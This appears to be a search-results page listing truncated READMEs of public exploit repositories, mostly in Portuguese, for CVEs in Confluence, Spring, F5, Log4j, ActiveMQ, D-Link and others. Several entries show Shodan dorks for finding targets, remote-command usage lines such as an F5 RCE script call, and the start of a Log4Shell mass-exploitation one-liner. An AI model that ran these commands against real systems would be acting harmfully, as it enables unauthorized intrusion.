324945 matches found
CVE-2022-26134
CVE-2022-26134 1. Primeiro execute os scripts do shodan para capturar todos os IPs python3 shodanscript.py -API yourapi -L limit -D "http.favicon.hash:-305179312 200" log.txt exemplo: python3 shodanscript.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" log.txt 2. Para todos os IPs...
CVE-2020-15227
CVE-2020-15227 AVISO LEGAL! Não me responsabilizo pelo uso disso em ambiente real, então por favor NÃO faça isso. Essa coisa é apenas para demonstrar e para testar coisas para administradores de sistemas Criei este exploit seguindo a publicação de um CVE de David Grudl o fundador da Nette...
Confluence-CVE-2022-26134
Confluence-CVE-2022-26134 Shodan में dork https://www.shodan.io/search?query=http.favicon.hash%3A-305179312&page=2 Curl poc curl -v...
CVE-2021-26084_Confluence
CVE-2021-26084Confluence Exploit CVE 2021 26084 Confluence dock0d1@arch$ python rce.py...
CVE-2025-4190
CVE-2025-4190 — CSV Mass Importer do WordPress ≤ 1.2 Upload Arbitrário de Arquivos -purple 📌 Descrição O plugin CSV Mass Importer ≤ 1.2 para WordPress contém uma vulnerabilidade de Upload Arbitrário de Arquivos por Admin+. Devido à validação inadequada dos arquivos enviados, usuários com altos...
CVE-2022-22963-POC
Exploração CVE-2022-22963 Descrição Nas versões 3.1.6, 3.2.2 e versões anteriores não suportadas do Spring Cloud Function, ao usar a funcionalidade de roteamento, é possível que um usuário forneça uma SpEL especialmente criada como uma expressão de roteamento que pode resultar em execução remota ...
CVE-2024-10914
CVE-2024-10914 - Exploit de Execução Remota de Código RCE em D-Link Este script é uma prova de conceito PoC de exploit para o CVE-2024-10914, uma vulnerabilidade de execução remota de código em determinados dispositivos D-Link. O script identifica e explora dispositivos vulneráveis para executar...
msmq_re
msmqre Esta é uma das vulnerabilidades corrigidas no MSMQ. https://research.checkpoint.com/2023/queuejumper-critical-unauthorized-rce-vulnerability-in-msmq-service/ 0:064 r rax=0000000000001000 rbx=000001b4ee9b5cf8 rcx=0000000000000006 rdx=000001b4240b5c24 rsi=0000000000000002 rdi=00000008e6c7fb1...
CVE-RCE
Este repositorio nao tem um README...
CVE-2020-5902-POC-EXP
CVE-2020-5902-POC-EXP Como usar python3 f5rce.py scan iplisttxt python3 f5rce.py https://test.cn:443 ifconfig Modo de varredura Modo RCE...
Log4Shell-Payloads
🚨 Coleção de Payloads Log4Shell Uma lista selecionada de payloads de exploração Log4Shell / Log4J visando: CVE-2021-45046 CVE-2022-42889 🔗 Por @nav1n0x 🔥 Payloads de Uma Linha ✅ One-liner 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...
CVE-2023-46604
CVE-2023-46604 Este repositório contém um script de exploração e um arquivo XML de Prova de Conceito PoC para a vulnerabilidade CVE-2023-46604 que afeta o Apache ActiveMQ. A vulnerabilidade permite execução remota de código devido a práticas inseguras de desserialização no protocolo OpenWire...
CVE-2017-0199
Exploit toolkit CVE-2017-0199 - v4.0 Exploit toolkit CVE-2017-0199 - v4.0 é um script Python prático que fornece a pentesters e pesquisadores de segurança uma maneira rápida e eficaz de testar o RCE do Microsoft Office. Ele pode gerar um arquivo RTF/PPSX malicioso e entregar metasploit /...
CVE-2024-34716
CVE-2024-34716PoC Mais detalhes técnicos podem ser encontrados em https://ayoubmokhtar.com/post/pngdrivenchainxsstoremotecodeexecutionprestashop8.1.5cve-2024-34716/ Instalação pip install -r requirements.txt Uso Usage: python exploit.py --url --email --local-ip --admin-path...
CVE-2020-28018
CVE-2020-28018: Use-after-free UAF no Exim levando a RCE Introdução Existe uma vulnerabilidade de Use-after-free UAF em tls-openssl.c que permite que atacantes remotos não autenticados corrompam dados internos da memória, eventualmente alcançando execução remota de código. Primitivas: Vazamento d...
CSPOC
CVE-2022-39197 - XSS Armazenado Cobalt Strike RCE Parâmetros de execução: -u: Endereço de escuta HTTP do Cobaltstrike, por exemplo, http://127.0.0.1:8500 -p: Payload, como não deve ser muito longo Demonstração: Comando de compilação: go build -ldflags "-s -w" Grupo QQ: Clique para entrar: 5281181...
CVE-2022-22963-Exploit
CVE-2022-22963 Exploit Este repositório contém um exploit baseado em Rust para a vulnerabilidade CVE-2022-22963 encontrada nas versões 3.1.6, 3.2.2 e versões antigas não suportadas do Spring Cloud Function. A vulnerabilidade permite execução remota de código e acesso a recursos locais através de...
hermes-the-messenger
Hermes, o mensageiro Uma PoC para alcançar persistência via notificações push no Windows Para mais detalhes técnicos e contexto, leia o nosso post no blog aqui: https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence Utilização Antes de qualquer coisa,...